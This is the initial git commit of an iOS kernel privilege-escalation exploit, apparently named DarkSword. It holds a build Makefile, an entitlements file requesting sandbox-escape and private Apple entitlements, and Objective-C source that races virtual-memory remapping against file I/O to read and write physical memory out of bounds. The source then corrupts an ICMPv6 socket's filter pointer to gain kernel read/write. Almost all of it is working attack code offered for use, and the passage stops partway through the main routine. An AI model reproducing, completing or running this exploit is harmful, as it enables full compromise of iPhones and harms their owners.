Initial commit
This commit is contained in:
commit
6cc9db16d3
15
Makefile
Normal file
15
Makefile
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
TARGET = darksword-pe
|
||||||
|
|
||||||
|
CC = clang
|
||||||
|
|
||||||
|
CFLAGS = -framework Foundation -framework CoreServices -framework Security -framework IOSurface -framework IOKit -I../.include -I./src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -Wno-availability -miphoneos-version-min=15.0 -fobjc-arc
|
||||||
|
LDFLAGS =
|
||||||
|
|
||||||
|
sign: $(TARGET)
|
||||||
|
@ldid -Sentitlements.plist $<
|
||||||
|
|
||||||
|
$(TARGET): $(wildcard src/*.m)
|
||||||
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@rm -f $(TARGET)
|
||||||
7
README.md
Normal file
7
README.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
# DarksSword Kernel Exploit
|
||||||
|
|
||||||
|
Reimplemented in Objective-C.
|
||||||
|
|
||||||
|
Supposed to support iOS 15.0 - 26.0.1.
|
||||||
|
|
||||||
|
Currently doesn't fully work on at least iOS 15, but KRW works.
|
||||||
52
entitlements.plist
Normal file
52
entitlements.plist
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>platform-application</key>
|
||||||
|
<true/>
|
||||||
|
<key>proc_info-allow</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.private.persona-mgmt</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.private.tcc.allow</key>
|
||||||
|
<array>
|
||||||
|
<string>kTCCServiceSystemPolicyAllFiles</string>
|
||||||
|
</array>
|
||||||
|
<key>com.apple.private.security.storage-exempt.heritable</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.private.security.storage.AppBundles</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.private.security.no-sandbox</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.springboard.CFUserNotification</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.springboard.launchapplications</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.security.network.client</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.private.mobileinstall.allowedSPI</key>
|
||||||
|
<array>
|
||||||
|
<string>InstallForLaunchServices</string>
|
||||||
|
<string>Install</string>
|
||||||
|
<string>UninstallForLaunchServices</string>
|
||||||
|
<string>Uninstall</string>
|
||||||
|
<string>UpdatePlaceholderMetadata</string>
|
||||||
|
</array>
|
||||||
|
<key>com.apple.security.exception.iokit-user-client-class</key>
|
||||||
|
<array>
|
||||||
|
<string>AGXDevice</string>
|
||||||
|
<string>AGXDeviceUserClient</string>
|
||||||
|
<string>AGXSharedUserClient</string>
|
||||||
|
<string>AGXGLContext</string>
|
||||||
|
<string>AGXCommandQueue</string>
|
||||||
|
<string>IOSurfaceRoot</string>
|
||||||
|
<string>IOSurfaceRootUserClient</string>
|
||||||
|
<string>AppleJPEGDriverUserClient</string>
|
||||||
|
<string>H11ANEInDirectPathClient</string>
|
||||||
|
</array>
|
||||||
|
<key>com.apple.developer.kernel.extended-virtual-addressing</key>
|
||||||
|
<true/>
|
||||||
|
<key>com.apple.developer.kernel.increased-memory-limit</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
685
src/main.m
Normal file
685
src/main.m
Normal file
@ -0,0 +1,685 @@
|
|||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <mach-o/dyld.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
#include <sys/fileport.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#define IPPROTO_ICMPV6 58
|
||||||
|
#define ICMP6_FILTER 18
|
||||||
|
#include <pthread.h>
|
||||||
|
#import <IOSurface/IOSurfaceRef.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
void IOSurfacePrefetchPages(IOSurfaceRef surface);
|
||||||
|
|
||||||
|
#define OOB_OFFSET 0x100
|
||||||
|
#define OOB_SIZE 0xf00
|
||||||
|
#define OOB_PAGES_NUM 2
|
||||||
|
|
||||||
|
void memset64(void *ptr, uint64_t val, size_t size)
|
||||||
|
{
|
||||||
|
uint8_t *ptr8 = ptr;
|
||||||
|
for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) {
|
||||||
|
uint64_t *ptr64 = (uint64_t *)&ptr8[idx];
|
||||||
|
*ptr64 = val;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int readFd;
|
||||||
|
int writeFd;
|
||||||
|
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);
|
||||||
|
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
|
||||||
|
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
|
||||||
|
|
||||||
|
int highestSuccessIdx = 0;
|
||||||
|
int successReadCount = 0;
|
||||||
|
struct iovec iov;
|
||||||
|
uint64_t randomMarker;
|
||||||
|
uint64_t wiredPageMarker;
|
||||||
|
mach_port_t pcObject = MACH_PORT_NULL;
|
||||||
|
mach_vm_address_t pcAddress = 0;
|
||||||
|
mach_vm_size_t pcSize;
|
||||||
|
|
||||||
|
NSMutableArray<NSNumber *> *socketPorts;
|
||||||
|
NSMutableArray<NSNumber *> *socketPcbIds;
|
||||||
|
#define GETSOCKOPT_READ_LEN 32
|
||||||
|
void *getsockoptReadData = NULL;
|
||||||
|
|
||||||
|
volatile uint8_t goSync = 0;
|
||||||
|
volatile uint8_t raceSync = 0;
|
||||||
|
volatile uint8_t freeThreadStart = 0;
|
||||||
|
volatile mach_vm_address_t freeTarget = 0;
|
||||||
|
volatile mach_vm_size_t freeTargetSize = 0;
|
||||||
|
volatile mem_entry_name_port_t targetObject = 0;
|
||||||
|
volatile memory_object_offset_t targetObjectOffset = 0;
|
||||||
|
|
||||||
|
NSMutableDictionary<NSNumber *, id> *gMlockDict;
|
||||||
|
|
||||||
|
int controlSocket = 0;
|
||||||
|
int rwSocket = 0;
|
||||||
|
uint64_t controlSocketPcb = 0;
|
||||||
|
uint64_t rwSocketPcb = 0;
|
||||||
|
#define EARLY_KRW_LENGTH 0x20
|
||||||
|
uint8_t controlData[EARLY_KRW_LENGTH];
|
||||||
|
|
||||||
|
void setTargetKaddr(uint64_t where)
|
||||||
|
{
|
||||||
|
memset(controlData, 0, EARLY_KRW_LENGTH);
|
||||||
|
*(uint64_t *)controlData = where;
|
||||||
|
int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, controlData, EARLY_KRW_LENGTH);
|
||||||
|
if (res != 0) {
|
||||||
|
printf("[-] setsockopt failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)
|
||||||
|
void *default_file_content;
|
||||||
|
char executablePath[PATH_MAX];
|
||||||
|
const char *executableName;
|
||||||
|
|
||||||
|
pthread_t freeThread;
|
||||||
|
|
||||||
|
void init_globals(void)
|
||||||
|
{
|
||||||
|
socketPorts = [NSMutableArray new];
|
||||||
|
socketPcbIds = [NSMutableArray new];
|
||||||
|
getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN);
|
||||||
|
gMlockDict = [NSMutableDictionary new];
|
||||||
|
default_file_content = calloc(1, TARGET_FILE_SIZE);
|
||||||
|
randomMarker = (uint64_t)arc4random() << 32 | arc4random();
|
||||||
|
wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random();
|
||||||
|
}
|
||||||
|
|
||||||
|
void create_target_file(const char *path) {
|
||||||
|
FILE *f = fopen(path, "w");
|
||||||
|
fwrite(default_file_content, 1, TARGET_FILE_SIZE, f);
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
void init_target_file()
|
||||||
|
{
|
||||||
|
char *read_file_path = calloc(1, 1024);
|
||||||
|
char *write_file_path = calloc(1, 1024);
|
||||||
|
confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);
|
||||||
|
confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);
|
||||||
|
|
||||||
|
char read_file_name[100];
|
||||||
|
char write_file_name[100];
|
||||||
|
snprintf(read_file_name, 100, "/%u", arc4random());
|
||||||
|
snprintf(write_file_name, 100, "/%u", arc4random());
|
||||||
|
|
||||||
|
strcat(read_file_path, read_file_name);
|
||||||
|
strcat(write_file_path, write_file_name);
|
||||||
|
|
||||||
|
create_target_file(read_file_path);
|
||||||
|
create_target_file(write_file_path);
|
||||||
|
|
||||||
|
readFd = open(read_file_path, O_RDWR);
|
||||||
|
writeFd = open(write_file_path, O_RDWR);
|
||||||
|
|
||||||
|
printf("[+] readFd: %d\n", readFd);
|
||||||
|
printf("[+] writeFd: %d\n", writeFd);
|
||||||
|
|
||||||
|
remove(read_file_path);
|
||||||
|
remove(write_file_path);
|
||||||
|
fcntl(readFd, F_NOCACHE, 1);
|
||||||
|
fcntl(writeFd, F_NOCACHE, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void *free_thread(void *arg)
|
||||||
|
{
|
||||||
|
while (freeThreadStart == 0);
|
||||||
|
|
||||||
|
while (goSync == 0);
|
||||||
|
|
||||||
|
while (goSync != 0) {
|
||||||
|
while (raceSync == 0);
|
||||||
|
|
||||||
|
kern_return_t kr = mach_vm_map(mach_task_self(),
|
||||||
|
&freeTarget,
|
||||||
|
freeTargetSize,
|
||||||
|
0,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
targetObject,
|
||||||
|
targetObjectOffset,
|
||||||
|
0,
|
||||||
|
VM_PROT_DEFAULT,
|
||||||
|
VM_PROT_DEFAULT,
|
||||||
|
VM_INHERIT_NONE);
|
||||||
|
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[-] mach_vm_map failed !!!\n");
|
||||||
|
printf("[+] freeTarget: %#llx\n", freeTarget);
|
||||||
|
printf("[+] targetObject: %#x\n", targetObject);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
raceSync = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
fileport_t spray_socket(NSMutableArray *socketPorts, NSMutableArray *socketPcbIds)
|
||||||
|
{
|
||||||
|
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
|
||||||
|
if (fd == -1) {
|
||||||
|
printf("[-] socket create failed!!!");
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
fileport_t outputSocketPort = 0;
|
||||||
|
fileport_makeport(fd, &outputSocketPort);
|
||||||
|
close(fd);
|
||||||
|
|
||||||
|
void *socketInfo = calloc(1, 0x400);
|
||||||
|
int r = syscall(336, 6, getpid(), 3, outputSocketPort, socketInfo, 0x400);
|
||||||
|
uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110);
|
||||||
|
|
||||||
|
[socketPorts addObject:@(outputSocketPort)];
|
||||||
|
[socketPcbIds addObject:@(inp_gencnt)];
|
||||||
|
return outputSocketPort;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sockets_release(NSMutableArray *socketPorts, NSMutableArray *socketPcbIds)
|
||||||
|
{
|
||||||
|
while (socketPorts.lastObject) {
|
||||||
|
mach_port_deallocate(mach_task_self(), ((NSNumber *)socketPorts.lastObject).unsignedIntValue);
|
||||||
|
[socketPorts removeLastObject];
|
||||||
|
[socketPcbIds removeLastObject];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {
|
||||||
|
IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)@{
|
||||||
|
@"IOSurfaceAddress": @(address),
|
||||||
|
@"IOSurfaceAllocSize": @(size)
|
||||||
|
});
|
||||||
|
|
||||||
|
IOSurfacePrefetchPages(surface);
|
||||||
|
|
||||||
|
return surface;
|
||||||
|
}
|
||||||
|
|
||||||
|
void surface_mlock(uint64_t address, uint64_t size)
|
||||||
|
{
|
||||||
|
gMlockDict[@(address)] = (__bridge id)create_surface_with_address(address, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
void surface_munlock(uint64_t address, uint64_t size)
|
||||||
|
{
|
||||||
|
IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)];
|
||||||
|
if (ref) {
|
||||||
|
CFRelease(ref);
|
||||||
|
[gMlockDict removeObjectForKey:@(address)];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void pe_init(void)
|
||||||
|
{
|
||||||
|
init_target_file();
|
||||||
|
|
||||||
|
if (!executableName) {
|
||||||
|
uint32_t sz = PATH_MAX;
|
||||||
|
_NSGetExecutablePath(executablePath, &sz);
|
||||||
|
executableName = strrchr(executablePath, '/');
|
||||||
|
if (executableName) {
|
||||||
|
executableName++;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
executableName = executablePath;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pthread_create(&freeThread, NULL, free_thread, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
void create_physically_contiguous_mapping(mach_port_t *port, mach_vm_address_t *address, mach_vm_size_t size)
|
||||||
|
{
|
||||||
|
NSDictionary *params = @{
|
||||||
|
(__bridge id)kIOSurfaceAllocSize : @(size),
|
||||||
|
@"IOSurfaceMemoryRegion" : @"PurpleGfxMem",
|
||||||
|
};
|
||||||
|
|
||||||
|
IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);
|
||||||
|
|
||||||
|
if (!surface) {
|
||||||
|
printf("[-] Failed to create surface!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);
|
||||||
|
printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress);
|
||||||
|
|
||||||
|
mach_port_t memoryObject;
|
||||||
|
kern_return_t kr = mach_make_memory_entry_64(mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
|
||||||
|
if (!surface) {
|
||||||
|
printf("[-] mach_make_memory_entry_64 failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_vm_address_t newMappingAddress;
|
||||||
|
kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
|
||||||
|
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[-] mach_vm_map failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
CFRelease(surface);
|
||||||
|
*port = memoryObject;
|
||||||
|
*address = newMappingAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
void initialize_physical_read_write(uint64_t contiguous_mapping_size)
|
||||||
|
{
|
||||||
|
pcSize = contiguous_mapping_size;
|
||||||
|
create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize);
|
||||||
|
printf("[+] pcObject: %u\n", pcObject);
|
||||||
|
printf("[+] pcAddress: %#llx\n", pcAddress);
|
||||||
|
memset64((void *)pcAddress, randomMarker, pcSize);
|
||||||
|
freeTarget = pcAddress,
|
||||||
|
freeTargetSize = pcSize;
|
||||||
|
freeThreadStart = 1;
|
||||||
|
goSync = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t physical_oob_read_mo(mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, mach_vm_size_t size, mach_vm_offset_t offset, void *buffer)
|
||||||
|
{
|
||||||
|
targetObject = memoryObject;
|
||||||
|
targetObjectOffset = memoryObjectOffset;
|
||||||
|
iov.iov_base = (void *)(pcAddress + 0x3f00);
|
||||||
|
iov.iov_len = offset + size;
|
||||||
|
*(uint64_t *)buffer = randomMarker;
|
||||||
|
*(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker;
|
||||||
|
|
||||||
|
bool readRaceSucceeded = false;
|
||||||
|
int w = 0;
|
||||||
|
for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) {
|
||||||
|
raceSync = 1;
|
||||||
|
w = pwritev(readFd, &iov, 1, 0x3f00);
|
||||||
|
while (raceSync == 1);
|
||||||
|
|
||||||
|
kern_return_t kr = mach_vm_map(mach_task_self(),
|
||||||
|
&pcAddress,
|
||||||
|
pcSize,
|
||||||
|
0,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
pcObject,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
VM_PROT_DEFAULT,
|
||||||
|
VM_PROT_DEFAULT,
|
||||||
|
VM_INHERIT_NONE);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[+] mach_vm_map failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if (w == -1) {
|
||||||
|
int r = pread(readFd, buffer, size, 0x3f00 + offset);
|
||||||
|
uint64_t marker = *(uint64_t *)buffer;
|
||||||
|
if (marker != randomMarker) {
|
||||||
|
readRaceSucceeded = true;
|
||||||
|
successReadCount++;
|
||||||
|
if (tryIdx > highestSuccessIdx) {
|
||||||
|
highestSuccessIdx = tryIdx;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
usleep(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (tryIdx == 500) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetObject = 0;
|
||||||
|
if (!readRaceSucceeded) return 1;
|
||||||
|
return KERN_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t physical_oob_read_mo_with_retry(mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, mach_vm_size_t size, mach_vm_offset_t offset, void *buffer)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
do {
|
||||||
|
kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size, offset, buffer);
|
||||||
|
} while (kr != KERN_SUCCESS);
|
||||||
|
return kr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void physical_oob_write_mo(mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, mach_vm_size_t size, mach_vm_offset_t offset, void *buffer)
|
||||||
|
{
|
||||||
|
targetObject = memoryObject;
|
||||||
|
targetObjectOffset = memoryObjectOffset;
|
||||||
|
iov.iov_base = (void *)(pcAddress + 0x3f00);
|
||||||
|
iov.iov_len = offset + size;
|
||||||
|
|
||||||
|
pwrite(writeFd, buffer, size, 0x3f00 + offset);
|
||||||
|
for (int tryIdx = 0; tryIdx < 20; tryIdx++) {
|
||||||
|
raceSync = 1;
|
||||||
|
preadv(writeFd, &iov, 1, 0x3f00);
|
||||||
|
while (raceSync == 1);
|
||||||
|
kern_return_t kr = mach_vm_map(mach_task_self(),
|
||||||
|
&pcAddress,
|
||||||
|
pcSize,
|
||||||
|
0,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
pcObject,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
VM_PROT_DEFAULT,
|
||||||
|
VM_PROT_DEFAULT,
|
||||||
|
VM_INHERIT_NONE);
|
||||||
|
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[-] mach_vm_map failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetObject = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void set_target_kaddr(uint64_t where)
|
||||||
|
{
|
||||||
|
memset(controlData, 0, EARLY_KRW_LENGTH);
|
||||||
|
*(uint64_t *)controlData = where;
|
||||||
|
int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, controlData, EARLY_KRW_LENGTH);
|
||||||
|
if (res != 0) {
|
||||||
|
printf("[-] setsockopt failed!!!");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void early_kread(uint64_t where, void *read_buf, size_t size)
|
||||||
|
{
|
||||||
|
if (size > EARLY_KRW_LENGTH) {
|
||||||
|
printf("[!] error: (size > EARLY_KRW_LENGTH)\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
set_target_kaddr(where);
|
||||||
|
socklen_t read_data_length = size;
|
||||||
|
int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length);
|
||||||
|
if (res != 0) {
|
||||||
|
printf("[-] getsockopt failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t early_kread64(uint64_t where)
|
||||||
|
{
|
||||||
|
uint64_t value = 0;
|
||||||
|
early_kread(where, &value, sizeof(value));
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead)
|
||||||
|
{
|
||||||
|
if (doRead) {
|
||||||
|
physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
int searchStartIdx = 0;
|
||||||
|
bool targetFound = false;
|
||||||
|
uint64_t pcbStartOffset = 0;
|
||||||
|
///uint64_t icmp6FiltOffset = 0x148;
|
||||||
|
uint64_t icmp6FiltOffset = 0x138 + 0x18; // TODO: Make dynamic
|
||||||
|
void *found = NULL;
|
||||||
|
do {
|
||||||
|
found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName));
|
||||||
|
if (found) {
|
||||||
|
pcbStartOffset = (uint64_t)found - (uint64_t)readBuffer & 0xFFFFFFFFFFFFFC00;
|
||||||
|
if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset + 8)) {
|
||||||
|
targetFound = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
searchStartIdx += 0x400;
|
||||||
|
} while (found == NULL && searchStartIdx < OOB_SIZE);
|
||||||
|
|
||||||
|
if (targetFound) {
|
||||||
|
printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset);
|
||||||
|
uint64_t targetInpGencnt = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78);
|
||||||
|
printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt);
|
||||||
|
if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) {
|
||||||
|
printf("[-] Found last PCB\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
bool isOurPcd = false;
|
||||||
|
int controlSocketIdx = 0;
|
||||||
|
for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) {
|
||||||
|
if (socketPcbIds[sockIdx].unsignedLongLongValue == targetInpGencnt) {
|
||||||
|
isOurPcd = true;
|
||||||
|
controlSocketIdx = sockIdx;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!isOurPcd) {
|
||||||
|
printf("[-] Found freed PCB Page!\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if ([targetInpGencntList containsObject:@(targetInpGencnt)]) {
|
||||||
|
printf("[-] Found old PCB Page!!!!\n");
|
||||||
|
return -1;
|
||||||
|
} else {
|
||||||
|
[targetInpGencntList addObject:@(targetInpGencnt)];
|
||||||
|
}
|
||||||
|
uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20;
|
||||||
|
uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset);
|
||||||
|
printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer);
|
||||||
|
printf("[+] icmp6Filter: %#llx\n", icmp6Filter);
|
||||||
|
rwSocketPcb = inpListNextPointer;
|
||||||
|
memcpy(writeBuffer, readBuffer, OOB_SIZE);
|
||||||
|
*(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + icmp6FiltOffset) = inpListNextPointer + icmp6FiltOffset;
|
||||||
|
*(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + icmp6FiltOffset + 8) = 0;
|
||||||
|
|
||||||
|
printf("[+] Corrupting icmp6filter pointer...\n");
|
||||||
|
while (true) {
|
||||||
|
physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer);
|
||||||
|
physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
|
||||||
|
uint64_t newIcmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset);
|
||||||
|
if (newIcmp6Filter == inpListNextPointer + icmp6FiltOffset) {
|
||||||
|
printf("[+] target corrupted: %#llx\n", *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int sock = fileport_makefd((fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue);
|
||||||
|
socklen_t len = GETSOCKOPT_READ_LEN;
|
||||||
|
int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockoptReadData, &len);
|
||||||
|
if (res != 0) {
|
||||||
|
printf("[-] getsockopt failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
uint64_t marker = *(uint64_t *)getsockoptReadData;
|
||||||
|
if (marker != -1) {
|
||||||
|
printf("[+] Found control_socket at idx: %u\n", controlSocketIdx);
|
||||||
|
controlSocket = sock;
|
||||||
|
rwSocket = fileport_makefd((fileport_t)socketPorts[controlSocketIdx + 1].unsignedLongLongValue);
|
||||||
|
return KERN_SUCCESS;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[-] Failed to corrupt control_socket at idx: %u\n", controlSocketIdx);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool isA18Device = false;
|
||||||
|
|
||||||
|
void pe_v1(void)
|
||||||
|
{
|
||||||
|
uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10);
|
||||||
|
uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE);
|
||||||
|
uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE;
|
||||||
|
uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize;
|
||||||
|
|
||||||
|
printf("[i] totalSearchMappingPagesNum: %#llx\n", totalSearchMappingPagesNum);
|
||||||
|
printf("[i] searchMappingSize: %#llx\n", searchMappingSize);
|
||||||
|
printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize);
|
||||||
|
printf("[i] searchMappingNum: %#llx\n", searchMappingNum);
|
||||||
|
|
||||||
|
void *readBuffer = calloc(1, OOB_SIZE);
|
||||||
|
void *writeBuffer = calloc(1, OOB_SIZE);
|
||||||
|
initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);
|
||||||
|
mach_vm_address_t wiredMapping = 0;
|
||||||
|
mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL;
|
||||||
|
kern_return_t kr = KERN_SUCCESS;
|
||||||
|
if (isA18Device) {
|
||||||
|
kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE);
|
||||||
|
printf("[+] wiredMapping: %#llx\n", wiredMapping);
|
||||||
|
}
|
||||||
|
NSMutableArray *targetInpGencntList = [NSMutableArray new];
|
||||||
|
while (true) {
|
||||||
|
if (isA18Device) {
|
||||||
|
surface_mlock(wiredMapping, wiredMappingSize);
|
||||||
|
for (int s = 0; s < (wiredMappingSize / 0x4000); s++) {
|
||||||
|
*(uint64_t *)(wiredMapping + s + 0x4000) = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
NSMutableArray<NSNumber *> *searchMappings = [NSMutableArray new];
|
||||||
|
for (uint64_t s = 0; s < searchMappingNum; s++) {
|
||||||
|
mach_vm_address_t searchMappingAddress = 0;
|
||||||
|
kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[-] mach_vm_allocate failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
|
||||||
|
